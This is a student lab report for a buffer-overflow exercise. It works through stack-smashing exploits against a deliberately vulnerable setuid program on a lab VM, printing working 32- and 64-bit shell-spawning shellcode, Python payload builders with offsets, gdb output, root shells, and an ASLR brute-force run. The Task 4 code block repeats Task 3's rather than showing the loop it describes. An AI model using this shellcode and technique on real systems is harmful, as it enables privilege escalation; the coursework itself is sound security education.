Austin Leach

CIS 5627

Project 2

Task 1: When I ran both a32.out and a64.out I got a shell. The shell was not a root shell, but instead used my uid which is “seed”. Below are the results.

```
[10/14/23]seed@VM:~/.../project2$ a32.out
$ whoami
seed
$ exit
[10/14/23]seed@VM:~/.../project2$ a64.out
$ whoami
seed
```

Task 2: The vulnerability in stack.c is that it is using strcpy which does not check bounds so the user input is larger than the bounds of the buffer and will cause an overflow. To make it fit for this lab I changed the makefile provided so that they were the numbers provided in the lab for each level.

```
1 FLAGS    = -z execstack -fno-stack-protector
2 FLAGS_32 = -m32
3 TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-
  L2-dbg stack-L3-dbg stack-L4-dbg
4
5 L1 = 164
6 L2 = 172
7 L3 = 180
8 L4 = 10
```

Task 3: To find where the variables were in the program I used gdb in order to find the $ebp and &buffer addresses so I could calculate the offset.

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb08
gdb-peda$ p &buffer
$2 = (char (*)[164]) 0xffffca5c
```

Subtracting these you get.

```
>>> 0xffffcb08-0xffffca5c
172
```

172 is the offset to $ebp and the return address is $ebp + 4 so the offset is equal to 176. For the return address I used $ebp + 120 in order to put it somewhere in the NOP sled and put the 32-bit shellcode at the end of the input so that if it reached any NOP it would then run the shellcode.

```
# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcb08 + 120         # Change this number
offset = 176              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
```

With this I was able to get a root shell.

```
[10/13/23]seed@VM:~/.../code$ ./exploitL1.py
[10/13/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
```

Task 4: This task is similar to the previous one except we do not know the exact size of the buffer. This means we can not precisely change the return address to be what we want. We can however take the knowledge that the buffer is 100-200 bytes and use that in order to flood every possible return address with a valid place to jump into the NOP sled in order to get a shell. To do this I set the initial offset as 100 and then used a for loop to put the return address of $ebp + 300 into every possible spot that could be a return address.

```
 4 # Replace the content with the actual shellcode
 5 shellcode= (
 6   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
 7   "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
 8   "\xd2\x31\xc0\xb0\x0b\xcd\x80"
 9 ).encode('latin-1')
10
11 # Fill the content with NOP's
12 content = bytearray(0x90 for i in range(517))
13
14 ##################################################################
15 # Put the shellcode somewhere in the payload
16 start = 517-len(shellcode)               # Change this number
17 content[start:start + len(shellcode)] = shellcode
18
19 # Decide the return address value
20 # and put it somewhere in the payload
21 ret    = 0xffffcb08 + 120         # Change this number
22 offset = 176              # Change this number
23
24 L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
25 content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
26 ##################################################################
```

After doing this and running the program I was able to get a root shell.

```
[10/13/23]seed@VM:~/.../code$ ./exploitL2.py
[10/13/23]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# whoami
root
```

Task 5: The program being a 64-bit program makes the offset very different so it will have to be recalculated using gdb.

```
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd930
gdb-peda$ p &buffer
$2 = (char (*)[180]) 0x7fffffffd870
```

Calculating the offset

```
>>> 0x7fffffffd930-0x7fffffffd870
192
```

192 is the offset from buffer to $rbp but the return address will be $rbp+8 because it is a 64-bit program which will cause the offset to be 200. Because the address contains 0x0000 at the beginning of it we can not go past this point with strcpy. Instead because the shellcode fits within the buffer before getting to the return address we can put it there instead of after it. This is done in the following exploit code.

```
# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 100               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffd930        # Change this number
offset = 200           # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
```

Making sure to use the 64-bit shellcode I was able to get a root shell after running this exploit.

```
[10/14/23]seed@VM:~/.../code$ ./exploitL3.py
[10/14/23]seed@VM:~/.../code$ ./stack-L3
Input size: 517
# whoami
root
```

Task 6: The buffer in this problem is very small and it can not fit the shellcode inside of it before the buffer. This makes it more difficult to run the shellcode, but there is a different way to get to it and that is to make the return address point to the str[] in the main function that has the entire input stored in it. To calculate the offset of the return address I used gdb.

```
gdb-peda$ p $rbp
$2 = (void *) 0x7fffffffd930
gdb-peda$ p &buffer
$3 = (char (*)[10]) 0x7fffffffd926
```

Calculating this the offset is 10 which means that the return address is at 10 + 8 = 18.

In order to find where to set the return address to I did a break in main and printed out the str[] address

```
Breakpoint 1, main (argc=0x0, argv=0x0) at stack.c:26
26      {
gdb-peda$ p &str
$1 = (char (*)[517]) 0x7fffffffdd60
```

Then I needed to calculate the offset between the str[] and $rbp

```
>>> 0x7fffffffdd60-0x7fffffffd930
1072
```

I got 1072 so I just need to make sure that the return address points to a value that will be in the str[] NOP sled. I put the shellcode at the end of the input so that I would have a larger target. Here is the code I used to exploit this

```
14 ###################################################################
15 # Put the shellcode somewhere in the payload
16 start = 517-len(shellcode)              # Change this number
17 content[start:start + len(shellcode)] = shellcode
18
19 # Decide the return address value
20 # and put it somewhere in the payload
21 ret    = 0x00007fffffffd930+1300        # Change this number
22 offset = 18           # Change this number
23
24 L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
25
26 content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
```

After running this I was able to get a root shell.

```
[10/14/23]seed@VM:~/.../code$ ./exploitL4.py
[10/14/23]seed@VM:~/.../code$ ./stack-L4
Input size: 517
# whoami
root
```

Task 7: First I ran the command that points the shell back to the dash shell and then tried to run the exploit on L1 again and did not get a root shell and instead got a shell that had a user id of seed.

```
[10/14/23]seed@VM:~/.../code$ sudo ln -sf /bin/dash /bin/sh
[10/14/23]seed@VM:~/.../code$ ./exploitL1.py
[10/14/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
$ whoami
seed
```

I then added the setuid(0) code to the beginning of the shellcode so that it would bypass dash's protection.

```
4 # Replace the content with the actual shellcode
5 shellcode= (
6   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
7   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
8   "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
9   "\xd2\x31\xc0\xb0\x0b\xcd\x80"
10 ).encode('latin-1')
11
```

After doing this I was able to get a root shell.

```
[10/13/23]seed@VM:~/.../code$ ./exploitL1-Task7.py
[10/13/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      9 Oct 13 20:37 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
#
```

Task 8: When I turned back on randomization and ran the program again I got a segmentation fault.

```
[10/13/23]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va
_space=2
kernel.randomize_va_space = 2
[10/13/23]seed@VM:~/.../code$ ./exploitL1-Task7.py
[10/13/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
```

This is because the return address got overwritten with garbage compared to when it was run with the randomization off. This makes it unable to get to the shellcode and the NOP sled. Because a 32-bit system has a limited number of randomization slots it is possible to brute force. Using the provided brute force script I was able to get a root shell in a few minutes.

```
2 minutes and 9 seconds elapsed.
The program has been running 158156 times so far.
Input size: 517
./brute-force.sh: line 14: 161251 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158157 times so far.
Input size: 517
./brute-force.sh: line 14: 161252 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158158 times so far.
Input size: 517
./brute-force.sh: line 14: 161253 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158159 times so far.
Input size: 517
./brute-force.sh: line 14: 161254 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158160 times so far.
Input size: 517
./brute-force.sh: line 14: 161255 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158161 times so far.
Input size: 517
./brute-force.sh: line 14: 161256 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158162 times so far.
Input size: 517
./brute-force.sh: line 14: 161257 Segmentation fault      ./stack-L1
2 minutes and 9 seconds elapsed.
The program has been running 158163 times so far.
Input size: 517
# whoami
root
```

Task 9a: In the makefile I changed it so that it would not compile with the -fno-stack-protector flag which would mean that StackGuard would be enabled. When I did this it detected that I was doing a buffer overflow and stopped the program because the canary was not correct.

```
[10/13/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

Task 9b: This time in the makefile I changed it so that the -z noexecstack flag was on which meant that the stack would not be executable. This means that the shellcode that was previously getting executed will no longer happen and the program will now return to a place that it does not have anything it can do which will result in a segmentation fault.

```
[10/13/23]seed@VM:~/.../project2$ ./a32.out
Segmentation fault
[10/13/23]seed@VM:~/.../project2$ ./a64.out
Segmentation fault
```